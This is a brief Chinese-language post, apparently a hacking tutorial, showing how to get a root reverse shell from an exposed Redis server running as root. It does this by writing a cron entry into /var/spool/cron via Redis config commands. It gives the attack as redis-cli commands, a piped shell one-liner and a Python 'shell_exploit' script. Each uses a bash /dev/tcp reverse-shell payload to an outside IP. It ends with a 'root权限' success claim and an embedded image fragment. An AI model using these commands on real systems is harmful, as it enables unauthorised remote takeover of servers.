前提:
1.redis由root用户启动。
2.开启cron的时候,/var/spool/cron linux机器下默认的计划任务,linux会定时去执行里面的任务。
启动服务 :/sbin/service crond start 或 /etc/init.d/crond start(centos系列) sudo /etc/init.d/cron start (ubuntu系列)
一.windows下
config set dir /var/spool/cron
config set dbfilename root
set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"
save
二.linux下
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -x set 1
redis-cli -h 192.168.118.129 config set dir /var/spool/cron/
redis-cli -h 192.168.118.129 config set dbfilename root
redis-cli -h 192.168.118.129 save
三.再贴一段python代码
import redis
def shell_exploit():
try:
r =redis.StrictRedis(host='192.168.118.129',port=6379,db=0,socket_timeout=10)
r.set(1, '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/your_ip/3333 0>&1\n\n')
r.config_set('dir','/var/spool/cron')
r.config_set('dbfilename','root')
r.save()
print "success!"
except:
print "fail!"
pass
shell_exploit()
反弹成功,root权限!
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAukAAACKCAIAAACYWUOBAAAS4ElEQVR4nO3dW5KkxhWAYeQHOawIWyGHZ0Y9mlv3qEehi8dh4+WwGPbCWlhKrcN+6ALyck7m4VpQ/F/w0E0BeSmqOJUkmUUBAAAAAAAAAAAAAAAAAAAAAAAAALGquVwul8ulqcJXHh7eppd370zLL7/+ZlkeHz9ZllevXluWp6dHy/KPV28syy9fni3LdzZPnz9blh8ffnpZNjoTulOhrcutUkwp6/blzNxLhgAAe1E18bUhG7UQu2wZu8TLeqdDWbf7ChWk83N5Q6DkpDZzJQBgLcQuB4xd1otjhNilW1U1t7gubxG7uCUr6/alDXLmSgDAeqJrw1//9j2xy4Fil7//8L1l+ct338VLfDoIscv10lw1iYtyWbdtXTdx08PQIjHxih6en/7/10xJK90sjYl+xJanmSsBAIsidjlx7BJHMN6lt+sL5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